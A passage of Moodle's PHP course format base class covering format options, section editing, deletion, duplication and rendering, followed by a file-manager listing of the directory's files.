                // Overwrite the default options values with those stored in course_format_options table
                // nothing can be stored if we are interested in generic course ($this->courseid == 0)
                // or generic section ($sectionid === 0).
                $records = $DB->get_records('course_format_options',
                        array('courseid' => $this->courseid,
                              'format' => $this->format,
                              'sectionid' => $sectionid
                            ), '', 'id,name,value');
                $indexedrecords = [];
                foreach ($records as $record) {
                    $indexedrecords[$record->name] = $record->value;
                }
                foreach ($options as $optionname => $option) {
                    contract_value($this->formatoptions[$sectionid], $indexedrecords, $option, $optionname);
                }
            }
        }
        return $this->formatoptions[$sectionid];
    }

    /**
     * Adds format options elements to the course/section edit form
     *
     * This function is called from course_edit_form::definition_after_data()
     *
     * @param \MoodleQuickForm $mform form the elements are added to
     * @param bool $forsection 'true' if this is a section edit form, 'false' if this is course edit form
     * @return array array of references to the added form elements
     */
    public function create_edit_form_elements(&$mform, $forsection = false) {
        $elements = array();
        if ($forsection) {
            $options = $this->section_format_options(true);
        } else {
            $options = $this->course_format_options(true);
        }
        foreach ($options as $optionname => $option) {
            if (!isset($option['element_type'])) {
                $option['element_type'] = 'text';
            }
            $args = array($option['element_type'], $optionname, $option['label']);
            if (!empty($option['element_attributes'])) {
                $args = array_merge($args, $option['element_attributes']);
            }
            $elements[] = call_user_func_array(array($mform, 'addElement'), $args);
            if (isset($option['help'])) {
                $helpcomponent = 'format_'. $this->get_format();
                if (isset($option['help_component'])) {
                    $helpcomponent = $option['help_component'];
                }
                $mform->addHelpButton($optionname, $option['help'], $helpcomponent);
            }
            if (isset($option['type'])) {
                $mform->setType($optionname, $option['type']);
            }
            if (isset($option['default']) && !array_key_exists($optionname, $mform->_defaultValues)) {
                // Set defaults for the elements in the form.
                // Since we call this method after set_data() make sure that we don't override what was already set.
                $mform->setDefault($optionname, $option['default']);
            }
        }

        if (!$forsection && empty($this->courseid)) {
            // Check if course end date form field should be enabled by default.
            // If a default date is provided to the form element, it is magically enabled by default in the
            // MoodleQuickForm_date_time_selector class, otherwise it's disabled by default.
            if (get_config('moodlecourse', 'courseenddateenabled')) {
                // At this stage (this is called from definition_after_data) course data is already set as default.
                // We can not overwrite what is in the database.
                $mform->setDefault('enddate', $this->get_default_course_enddate($mform));
            }
        }

        return $elements;
    }

    /**
     * Override if you need to perform some extra validation of the format options
     *
     * @param array $data array of ("fieldname"=>value) of submitted data
     * @param array $files array of uploaded files "element_name"=>tmp_file_path
     * @param array $errors errors already discovered in edit form validation
     * @return array of "element_name"=>"error_description" if there are errors,
     *         or an empty array if everything is OK.
     *         Do not repeat errors from $errors param here
     */
    public function edit_form_validation($data, $files, $errors) {
        return array();
    }

    /**
     * Prepares values of course or section format options before storing them in DB
     *
     * If an option has invalid value it is not returned
     *
     * @param array $rawdata associative array of the proposed course/section format options
     * @param int|null $sectionid null if it is course format option
     * @return array array of options that have valid values
     */
    protected function validate_format_options(array $rawdata, ?int $sectionid = null): array {
        if (!$sectionid) {
            $allformatoptions = $this->course_format_options(true);
        } else {
            $allformatoptions = $this->section_format_options(true);
        }
        $data = array_intersect_key($rawdata, $allformatoptions);
        foreach ($data as $key => $value) {
            $option = $allformatoptions[$key] + ['type' => PARAM_RAW, 'element_type' => null, 'element_attributes' => [[]]];
            expand_value($data, $data, $option, $key);
            if ($option['element_type'] === 'select' && !array_key_exists($data[$key], $option['element_attributes'][0])) {
                // Value invalid for select element, skip.
                unset($data[$key]);
            }
        }
        return $data;
    }

    /**
     * Validates format options for the course
     *
     * @param array $data data to insert/update
     * @return array array of options that have valid values
     */
    public function validate_course_format_options(array $data): array {
        return $this->validate_format_options($data);
    }

    /**
     * Updates format options for a course or section
     *
     * If $data does not contain property with the option name, the option will not be updated
     *
     * @param stdClass|array $data return value from moodleform::get_data() or array with data
     * @param null|int $sectionid null if these are options for course or section id (course_sections.id)
     *     if these are options for section
     * @return bool whether there were any changes to the options values
     */
    protected function update_format_options($data, $sectionid = null) {
        global $DB;
        $data = $this->validate_format_options((array)$data, $sectionid);
        if (!$sectionid) {
            $allformatoptions = $this->course_format_options();
            $sectionid = 0;
        } else {
            $allformatoptions = $this->section_format_options();
        }
        if (empty($allformatoptions)) {
            // Nothing to update anyway.
            return false;
        }
        $defaultoptions = array();
        $cached = array();
        foreach ($allformatoptions as $key => $option) {
            $defaultoptions[$key] = null;
            if (array_key_exists('default', $option)) {
                $defaultoptions[$key] = $option['default'];
            }
            expand_value($defaultoptions, $defaultoptions, $option, $key);
            $cached[$key] = ($sectionid === 0 || !empty($option['cache']));
        }
        $records = $DB->get_records('course_format_options',
                array('courseid' => $this->courseid,
                      'format' => $this->format,
                      'sectionid' => $sectionid
                    ), '', 'name,id,value');
        $changed = $needrebuild = false;
        foreach ($defaultoptions as $key => $value) {
            if (isset($records[$key])) {
                if (array_key_exists($key, $data) && $records[$key]->value != $data[$key]) {
                    $DB->set_field('course_format_options', 'value',
                            $data[$key], array('id' => $records[$key]->id));
                    $changed = true;
                    $needrebuild = $needrebuild || $cached[$key];
                }
            } else {
                if (array_key_exists($key, $data) && $data[$key] !== $value) {
                    $newvalue = $data[$key];
                    $changed = true;
                    $needrebuild = $needrebuild || $cached[$key];
                } else {
                    $newvalue = $value;
                    // We still insert entry in DB but there are no changes from user point of
                    // view and no need to call rebuild_course_cache().
                }
                $DB->insert_record('course_format_options', array(
                    'courseid' => $this->courseid,
                    'format' => $this->format,
                    'sectionid' => $sectionid,
                    'name' => $key,
                    'value' => $newvalue
                ));
            }
        }
        if ($needrebuild) {
            if ($sectionid) {
                // Invalidate the section cache by given section id.
                course_modinfo::purge_course_section_cache_by_id($this->courseid, $sectionid);
                // Partial rebuild sections that have been invalidated.
                rebuild_course_cache($this->courseid, true, true);
            } else {
                // Full rebuild if sectionid is null.
                rebuild_course_cache($this->courseid);
            }
        }
        if ($changed) {
            // Reset internal caches.
            if (!$sectionid) {
                $this->course = false;
            }
            unset($this->formatoptions[$sectionid]);
        }
        return $changed;
    }

    /**
     * Updates format options for a course
     *
     * If $data does not contain property with the option name, the option will not be updated
     *
     * @param stdClass|array $data return value from moodleform::get_data() or array with data
     * @param stdClass $oldcourse if this function is called from update_course()
     *     this object contains information about the course before update
     * @return bool whether there were any changes to the options values
     */
    public function update_course_format_options($data, $oldcourse = null) {
        return $this->update_format_options($data);
    }

    /**
     * Updates format options for a section
     *
     * Section id is expected in $data->id (or $data['id'])
     * If $data does not contain property with the option name, the option will not be updated
     *
     * @param stdClass|array $data return value from moodleform::get_data() or array with data
     * @return bool whether there were any changes to the options values
     */
    public function update_section_format_options($data) {
        $data = (array)$data;
        return $this->update_format_options($data, $data['id']);
    }

    /**
     * Return an instance of moodleform to edit a specified section
     *
     * Default implementation returns instance of editsection_form that automatically adds
     * additional fields defined in course_format::section_format_options()
     *
     * Format plugins may extend editsection_form if they want to have custom edit section form.
     *
     * @param mixed $action the action attribute for the form. If empty defaults to auto detect the
     *              current url. If a moodle_url object then outputs params as hidden variables.
     * @param array $customdata the array with custom data to be passed to the form
     *     /course/editsection.php passes section_info object in 'cs' field
     *     for filling availability fields
     * @return \moodleform
     */
    public function editsection_form($action, $customdata = array()) {
        global $CFG;
        require_once($CFG->dirroot. '/course/editsection_form.php');
        if (!array_key_exists('course', $customdata)) {
            $customdata['course'] = $this->get_course();
        }
        return new editsection_form($action, $customdata);
    }

    /**
     * Allows course format to execute code on moodle_page::set_course()
     *
     * @param moodle_page $page instance of page calling set_course
     */
    public function page_set_course(moodle_page $page) {
    }

    /**
     * Allows course format to execute code on moodle_page::set_cm()
     *
     * Current module can be accessed as $page->cm (returns instance of cm_info)
     *
     * @param moodle_page $page instance of page calling set_cm
     */
    public function page_set_cm(moodle_page $page) {
    }

    /**
     * Course-specific information to be output on any course page (usually above navigation bar)
     *
     * Example of usage:
     * define
     * class format_FORMATNAME_XXX implements renderable {}
     *
     * create format renderer in course/format/FORMATNAME/renderer.php, define rendering function:
     * class format_FORMATNAME_renderer extends plugin_renderer_base {
     *     protected function render_format_FORMATNAME_XXX(format_FORMATNAME_XXX $xxx) {
     *         return html_writer::tag('div', 'This is my header/footer');
     *     }
     * }
     *
     * Return instance of format_FORMATNAME_XXX in this function, the appropriate method from
     * plugin renderer will be called
     *
     * @return null|\renderable null for no output or object with data for plugin renderer
     */
    public function course_header() {
        return null;
    }

    /**
     * Course-specific information to be output on any course page (usually in the beginning of
     * standard footer)
     *
     * See course_format::course_header() for usage
     *
     * @return null|\renderable null for no output or object with data for plugin renderer
     */
    public function course_footer() {
        return null;
    }

    /**
     * Course-specific information to be output immediately above content on any course page
     *
     * See course_format::course_header() for usage
     *
     * @return null|\renderable null for no output or object with data for plugin renderer
     */
    public function course_content_header() {
        return null;
    }

    /**
     * Course-specific information to be output immediately below content on any course page
     *
     * See course_format::course_header() for usage
     *
     * @return null|\renderable null for no output or object with data for plugin renderer
     */
    public function course_content_footer() {
        return null;
    }

    /**
     * Returns instance of page renderer used by this plugin
     *
     * @param moodle_page $page
     * @return \renderer_base
     */
    public function get_renderer(moodle_page $page) {
        try {
            $renderer = $page->get_renderer('format_'. $this->get_format());
        } catch (moodle_exception $e) {
            $formatname = $this->get_format();
            $expectedrenderername = 'format_'. $this->get_format() . '\output\renderer';
            debugging(
                "The '{$formatname}' course format does not define the {$expectedrenderername} renderer class. This is required since Moodle 4.0.",
                 DEBUG_DEVELOPER
            );
            $renderer = new legacy_renderer($page, null);
        }

        return $renderer;
    }

    /**
     * Returns instance of output component used by this plugin
     *
     * @throws coding_exception if the format class does not extends the original core one.
     * @param string $outputname the element to render (section, activity...)
     * @return string the output component classname
     */
    public function get_output_classname(string $outputname): string {
        // The core output class.
        $baseclass = "core_courseformat\\output\\local\\$outputname";

        // Look in this format and any parent formats before we get to the base one.
        $classes = array_merge([get_class($this)], class_parents($this));
        foreach ($classes as $component) {
            if ($component === self::class) {
                break;
            }

            // Because course formats are in the root namespace, there is no need to process the
            // class name - it is already a Frankenstyle component name beginning 'format_'.

            // Check if there is a specific class in this format.
            $outputclass = "$component\\output\\courseformat\\$outputname";
            if (class_exists($outputclass)) {
                // Check that the outputclass is a subclass of the base class.
                if (!is_subclass_of($outputclass, $baseclass)) {
                    throw new coding_exception("The \"$outputclass\" must extend \"$baseclass\"");
                }
                return $outputclass;
            }
        }

        return $baseclass;
    }

    /**
     * Returns true if the specified section is current
     *
     * By default we analyze $course->marker
     *
     * @param int|stdClass|section_info $section
     * @return bool
     */
    public function is_section_current($section) {
        if (is_object($section)) {
            $sectionnum = $section->section;
        } else {
            $sectionnum = $section;
        }
        return ($sectionnum && ($course = $this->get_course()) && $course->marker == $sectionnum);
    }

    /**
     * Returns if an specific section is visible to the current user.
     *
     * Formats can overrride this method to implement any special section logic.
     *
     * @param section_info $section the section modinfo
     * @return bool;
     */
    public function is_section_visible(section_info $section): bool {
        // It is unlikely that a section is orphan, but it needs to be checked.
        if ($section->is_orphan() && !has_capability('moodle/course:viewhiddensections', $this->get_context())) {
            return false;
        }
        // Previous to Moodle 4.0 thas logic was hardcoded. To prevent errors in the contrib plugins
        // the default logic is the same required for topics and weeks format and still uses
        // a "hiddensections" format setting.
        $course = $this->get_course();
        $hidesections = $course->hiddensections ?? true;
        // Show the section if the user is permitted to access it, OR if it's not available
        // but there is some available info text which explains the reason & should display,
        // OR it is hidden but the course has a setting to display hidden sections as unavailable.
        return $section->uservisible ||
            ($section->visible && !$section->available && !empty($section->availableinfo)) ||
            (!$section->visible && !$hidesections);
    }

    /**
     * return true if the course editor must be displayed.
     *
     * @param array|null $capabilities array of capabilities a user needs to have to see edit controls in general.
     *  If null or not specified, the user needs to have 'moodle/course:manageactivities'.
     * @return bool true if edit controls must be displayed
     */
    public function show_editor(?array $capabilities = ['moodle/course:manageactivities']): bool {
        global $PAGE;
        $course = $this->get_course();
        $coursecontext = context_course::instance($course->id);
        if ($capabilities === null) {
            $capabilities = ['moodle/course:manageactivities'];
        }
        return $PAGE->user_is_editing() && has_all_capabilities($capabilities, $coursecontext);
    }

    /**
     * Check if the group mode can be displayed.
     * @param cm_info $cm the activity module
     * @return bool
     */
    public function show_groupmode(cm_info $cm): bool {
        if (!plugin_supports('mod', $cm->modname, FEATURE_GROUPS, false)) {
            return false;
        }
        if (!has_capability('moodle/course:manageactivities', $cm->context)) {
            return false;
        }
        return true;
    }

    /**
     * Allows to specify for modinfo that section is not available even when it is visible and conditionally available.
     *
     * Note: affected user can be retrieved as: $section->modinfo->userid
     *
     * Course format plugins can override the method to change the properties $available and $availableinfo that were
     * calculated by conditional availability.
     * To make section unavailable set:
     *     $available = false;
     * To make unavailable section completely hidden set:
     *     $availableinfo = '';
     * To make unavailable section visible with availability message set:
     *     $availableinfo = get_string('sectionhidden', 'format_xxx');
     *
     * @param section_info $section
     * @param bool $available the 'available' propery of the section_info as it was evaluated by conditional availability.
     *     Can be changed by the method but 'false' can not be overridden by 'true'.
     * @param string $availableinfo the 'availableinfo' propery of the section_info as it was evaluated by conditional availability.
     *     Can be changed by the method
     */
    public function section_get_available_hook(section_info $section, &$available, &$availableinfo) {
    }

    /**
     * Whether this format allows to delete sections
     *
     * If format supports deleting sections it is also recommended to define language string
     * 'deletesection' inside the format.
     *
     * Do not call this function directly, instead use course_can_delete_section()
     *
     * @param int|stdClass|section_info $section
     * @return bool
     */
    public function can_delete_section($section) {
        return false;
    }

    /**
     * Deletes a section
     *
     * Do not call this function directly, instead call course_delete_section()
     *
     * @param int|stdClass|section_info $sectionornum
     * @param bool $forcedeleteifnotempty if set to false section will not be deleted if it has modules in it.
     * @return bool whether section was deleted
     */
    public function delete_section($sectionornum, $forcedeleteifnotempty = false) {
        global $DB;
        if (!$this->uses_sections()) {
            // Not possible to delete section if sections are not used.
            return false;
        }
        if (is_object($sectionornum)) {
            $section = $sectionornum;
        } else {
            $section = $DB->get_record(
                'course_sections',
                ['course' => $this->get_courseid(), 'section' => $sectionornum],
                'id,section,sequence,summary');
        }
        if (!$section || !$section->section) {
            // Not possible to delete 0-section.
            return false;
        }

        if (!$forcedeleteifnotempty && (!empty($section->sequence) || !empty($section->summary))) {
            return false;
        }

        $course = $this->get_course();

        // Remove the marker if it points to this section.
        if ($section->section == $course->marker) {
            course_set_marker($course->id, 0);
        }

        $lastsection = $DB->get_field_sql('SELECT max(section) from {course_sections}
                            WHERE course = ?', array($course->id));

        // Find out if we need to descrease the 'numsections' property later.
        $courseformathasnumsections = array_key_exists('numsections',
            $this->get_format_options());
        $decreasenumsections = $courseformathasnumsections && ($section->section <= $course->numsections);

        // Move the section to the end.
        move_section_to($course, $section->section, $lastsection, true);

        // Delete all modules from the section.
        foreach (preg_split('/,/', $section->sequence, -1, PREG_SPLIT_NO_EMPTY) as $cmid) {
            course_delete_module($cmid);
        }

        // Delete section and it's format options.
        $DB->delete_records('course_format_options', array('sectionid' => $section->id));
        $DB->delete_records('course_sections', array('id' => $section->id));
        // Invalidate the section cache by given section id.
        course_modinfo::purge_course_section_cache_by_id($course->id, $section->id);
        // Partial rebuild section cache that has been purged.
        rebuild_course_cache($course->id, true, true);

        // Delete section summary files.
        $context = \context_course::instance($course->id);
        $fs = get_file_storage();
        $fs->delete_area_files($context->id, 'course', 'section', $section->id);

        // Descrease 'numsections' if needed.
        if ($decreasenumsections) {
            $this->update_course_format_options(array('numsections' => $course->numsections - 1));
        }

        return true;
    }

    /**
     * Wrapper for course_delete_module method.
     *
     * Format plugins can override this method to provide their own implementation of course_delete_module.
     *
     * @param cm_info $cm the course module information
     * @param bool $async whether or not to try to delete the module using an adhoc task. Async also depends on a plugin hook.
     * @throws moodle_exception
     */
    public function delete_module(cm_info $cm, bool $async = false) {
        course_delete_module($cm->id, $async);
    }

    /**
     * Moves a section just after the target section.
     *
     * @param section_info $section the section to move
     * @param section_info $destination the section that should be below the moved section
     * @return boolean if the section can be moved or not
     */
    public function move_section_after(section_info $section, section_info $destination): bool {
        if ($section->section == $destination->section || $section->section == $destination->section + 1) {
            return true;
        }
        // The move_section_to moves relative to the section to move. However, this
        // method will move the target section always after the destination.
        if ($section->section > $destination->section) {
            $newsectionnumber = $destination->section + 1;
        } else {
            $newsectionnumber = $destination->section;
        }
        return move_section_to(
            $this->get_course(),
            $section->section,
            $newsectionnumber
        );
    }

    /**
     * Prepares the templateable object to display section name
     *
     * @param \section_info|\stdClass $section
     * @param bool $linkifneeded
     * @param bool $editable
     * @param null|lang_string|string $edithint
     * @param null|lang_string|string $editlabel
     * @return \core\output\inplace_editable
     */
    public function inplace_editable_render_section_name($section, $linkifneeded = true,
                                                         $editable = null, $edithint = null, $editlabel = null) {
        global $USER, $CFG;
        require_once($CFG->dirroot.'/course/lib.php');

        if ($editable === null) {
            $editable = !empty($USER->editing) && has_capability('moodle/course:update',
                    context_course::instance($section->course));
        }

        $displayvalue = $title = get_section_name($section->course, $section);
        if ($linkifneeded) {
            // Display link under the section name if the course format setting is to display one section per page.
            $url = course_get_url($section->course, $section->section, array('navigation' => true));
            if ($url) {
                $displayvalue = html_writer::link($url, $title);
            }
            $itemtype = 'sectionname';
        } else {
            // If $linkifneeded==false, we never display the link (this is used when rendering the section header).
            // Itemtype 'sectionnamenl' (nl=no link) will tell the callback that link should not be rendered -
            // there is no other way callback can know where we display the section name.
            $itemtype = 'sectionnamenl';
        }
        if (empty($edithint)) {
            $edithint = new lang_string('editsectionname');
        }
        if (empty($editlabel)) {
            $editlabel = new lang_string('newsectionname', '', $title);
        }

        return new \core\output\inplace_editable('format_' . $this->format, $itemtype, $section->id, $editable,
            $displayvalue, $section->name, $edithint, $editlabel);
    }

    /**
     * Updates the value in the database and modifies this object respectively.
     *
     * ALWAYS check user permissions before performing an update! Throw exceptions if permissions are not sufficient
     * or value is not legit.
     *
     * @param stdClass $section
     * @param string $itemtype
     * @param mixed $newvalue
     * @return ?\core\output\inplace_editable
     */
    public function inplace_editable_update_section_name($section, $itemtype, $newvalue) {
        if ($itemtype === 'sectionname' || $itemtype === 'sectionnamenl') {
            $context = context_course::instance($section->course);
            external_api::validate_context($context);
            require_capability('moodle/course:update', $context);

            $newtitle = clean_param($newvalue, PARAM_TEXT);
            if (strval($section->name) !== strval($newtitle)) {
                course_update_section($section->course, $section, array('name' => $newtitle));
            }
            return $this->inplace_editable_render_section_name($section, ($itemtype === 'sectionname'), true);
        }
    }


    /**
     * Returns the default end date value based on the start date.
     *
     * This is the default implementation for course formats, it is based on
     * moodlecourse/courseduration setting. Course formats like format_weeks for
     * example can overwrite this method and return a value based on their internal options.
     *
     * @param \MoodleQuickForm $mform
     * @param array $fieldnames The form - field names mapping.
     * @return int
     */
    public function get_default_course_enddate($mform, $fieldnames = array()) {

        if (empty($fieldnames)) {
            $fieldnames = array('startdate' => 'startdate');
        }

        $startdate = $this->get_form_start_date($mform, $fieldnames);
        $courseduration = intval(get_config('moodlecourse', 'courseduration'));
        if (!$courseduration) {
            // Default, it should be already set during upgrade though.
            $courseduration = YEARSECS;
        }

        return $startdate + $courseduration;
    }

    /**
     * Indicates whether the course format supports the creation of the Announcements forum.
     *
     * For course format plugin developers, please override this to return true if you want the Announcements forum
     * to be created upon course creation.
     *
     * @return bool
     */
    public function supports_news() {
        // For backwards compatibility, check if default blocks include the news_items block.
        $defaultblocks = $this->get_default_blocks();
        foreach ($defaultblocks as $blocks) {
            if (in_array('news_items', $blocks)) {
                return true;
            }
        }
        // Return false by default.
        return false;
    }

    /**
     * Get the start date value from the course settings page form.
     *
     * @param \MoodleQuickForm $mform
     * @param array $fieldnames The form - field names mapping.
     * @return int
     */
    protected function get_form_start_date($mform, $fieldnames) {
        $startdate = $mform->getElementValue($fieldnames['startdate']);
        return $mform->getElement($fieldnames['startdate'])->exportValue($startdate);
    }

    /**
     * Returns whether this course format allows the activity to
     * have "triple visibility state" - visible always, hidden on course page but available, hidden.
     *
     * @param stdClass|cm_info $cm course module (may be null if we are displaying a form for adding a module)
     * @param stdClass|section_info $section section where this module is located or will be added to
     * @return bool
     */
    public function allow_stealth_module_visibility($cm, $section) {
        return false;
    }

    /**
     * Callback used in WS core_course_edit_section when teacher performs an AJAX action on a section (show/hide)
     *
     * Access to the course is already validated in the WS but the callback has to make sure
     * that particular action is allowed by checking capabilities
     *
     * Course formats should register
     *
     * @param stdClass|section_info $section
     * @param string $action
     * @param int $sr the section return
     * @return null|array|stdClass any data for the Javascript post-processor (must be json-encodeable)
     */
    public function section_action($section, $action, $sr) {
        global $PAGE;
        if (!$this->uses_sections() || !$section->section) {
            // No section actions are allowed if course format does not support sections.
            // No actions are allowed on the 0-section by default (overwrite in course format if needed).
            throw new moodle_exception('sectionactionnotsupported', 'core', null, s($action));
        }

        $course = $this->get_course();
        $coursecontext = context_course::instance($course->id);
        $modinfo = $this->get_modinfo();
        $renderer = $this->get_renderer($PAGE);

        if (!($section instanceof section_info)) {
            $section = $modinfo->get_section_info($section->section);
        }

        if (!is_null($sr)) {
            $this->set_sectionnum($sr);
        }

        switch($action) {
            case 'hide':
            case 'show':
                require_capability('moodle/course:sectionvisibility', $coursecontext);
                $visible = ($action === 'hide') ? 0 : 1;
                course_update_section($course, $section, array('visible' => $visible));
                break;
            case 'refresh':
                return [
                    'content' => $renderer->course_section_updated($this, $section),
                ];
            default:
                throw new moodle_exception('sectionactionnotsupported', 'core', null, s($action));
        }

        return ['modules' => $this->get_section_modules_updated($section)];
    }

    /**
     * Return an array with all section modules content.
     *
     * This method is used in section_action method to generate the updated modules content
     * after a modinfo change.
     *
     * @param section_info $section the section
     * @return string[] the full modules content.
     */
    protected function get_section_modules_updated(section_info $section): array {
        global $PAGE;

        $modules = [];

        if (!$this->uses_sections() || !$section->section) {
            return $modules;
        }

        // Load the cmlist output from the updated modinfo.
        $renderer = $this->get_renderer($PAGE);
        $modinfo = $this->get_modinfo();
        $coursesections = $modinfo->sections;
        if (array_key_exists($section->section, $coursesections)) {
            foreach ($coursesections[$section->section] as $cmid) {
                $cm = $modinfo->get_cm($cmid);
                $modules[] = $renderer->course_section_updated_cm_item($this, $section, $cm);
            }
        }
        return $modules;
    }

    /**
     * Return the plugin config settings for external functions,
     * in some cases the configs will need formatting or be returned only if the current user has some capabilities enabled.
     *
     * @return array the list of configs
     * @since Moodle 3.5
     */
    public function get_config_for_external() {
        return array();
    }

    /**
     * Course deletion hook.
     *
     * Format plugins can override this method to clean any format specific data and dependencies.
     *
     */
    public function delete_format_data() {
        global $DB;
        $course = $this->get_course();
        // By default, formats store some most display specifics in a user preference.
        $DB->delete_records('user_preferences', ['name' => 'coursesectionspreferences_' . $course->id]);
    }

    /**
     * Duplicate a section
     *
     * @param section_info $originalsection The section to be duplicated
     * @return section_info The new duplicated section
     * @since Moodle 4.2
     */
    public function duplicate_section(section_info $originalsection): section_info {
        if (!$this->uses_sections()) {
            throw new moodle_exception('sectionsnotsupported', 'core_courseformat');
        }

        $course = $this->get_course();
        $context = context_course::instance($course->id);
        $newsection = course_create_section($course, $originalsection->section + 1); // Place new section after existing one.

        $newsectiondata = new stdClass();
        if (!empty($originalsection->name)) {
            $newsectiondata->name = get_string('duplicatedsection', 'moodle', $originalsection->name);
        } else {
            $newsectiondata->name = $originalsection->name;
        }
        $newsectiondata->summary = $originalsection->summary;
        $newsectiondata->summaryformat = $originalsection->summaryformat;
        $newsectiondata->visible = $originalsection->visible;
        $newsectiondata->availability = $originalsection->availability;
        foreach ($this->section_format_options() as $key => $value) {
            $newsectiondata->$key = $originalsection->$key;
        }
        course_update_section($course, $newsection, $newsectiondata);

        try {
            $fs = get_file_storage();
            $files = $fs->get_area_files($context->id, 'course', 'section', $originalsection->id);

            foreach ($files as $f) {

                $fileinfo = [
                    'contextid' => $context->id,
                    'component' => 'course',
                    'filearea' => 'section',
                    'itemid' => $newsection->id,
                ];

                $fs->create_file_from_storedfile($fileinfo, $f);
            }
        } catch (\Exception $e) {
            debugging('Error copying section files.' . $e->getMessage(), DEBUG_DEVELOPER);
        }

        $modinfo = $this->get_modinfo();

        // Duplicate the section modules, should they exist.
        if (array_key_exists($originalsection->section, $modinfo->sections)) {
            foreach ($modinfo->sections[$originalsection->section] as $modnumber) {
                $originalcm = $modinfo->cms[$modnumber];
                if (!$originalcm->deletioninprogress) {
                    duplicate_module($course, $originalcm, $newsection->id, false);
                }
            }
        }

        return get_fast_modinfo($course)->get_section_info_by_id($newsection->id);
    }

    /**
     * Get the required javascript files for the course format.
     *
     * @return array The list of javascript files required by the course format.
     */
    public function get_required_jsfiles(): array {
        return [];
    }

    /**
     * Determines whether section items can be removed from the navigation, just like the breadcrumb feature seen on activity pages.
     * By default, it returns false but can be overridden by the course format to change the behaviour.
     *
     * @return bool True if sections can be removed, false otherwise.
     */
    public function can_sections_be_removed_from_navigation(): bool {
        return false;
    }

    /**
     * Determines whether the course module should display the activity editor options.
     *
     * @param cm_info $cm The activity module.
     * @return bool True if the activity editor options are displayed, false otherwise.
     */
    public function show_activity_editor_options(cm_info $cm): bool {
        if ($cm->get_delegated_section_info() && component_callback_exists('mod_' . $cm->modname, 'cm_info_view')) {
            return false;
        }
        return true;
    }
}

Filemanager

Name Type Size Permission Actions
external Folder 0777
hook Folder 0777
local Folder 0777
output Folder 0777
privacy Folder 0777
base.php File 82.64 KB 0777
formatactions.php File 5.44 KB 0777
hook_listener.php File 1.92 KB 0777
sectiondelegate.php File 5.17 KB 0777
sectiondelegatemodule.php File 6.45 KB 0777
stateactions.php File 42.99 KB 0777
stateupdates.php File 7.45 KB 0777
Filemanager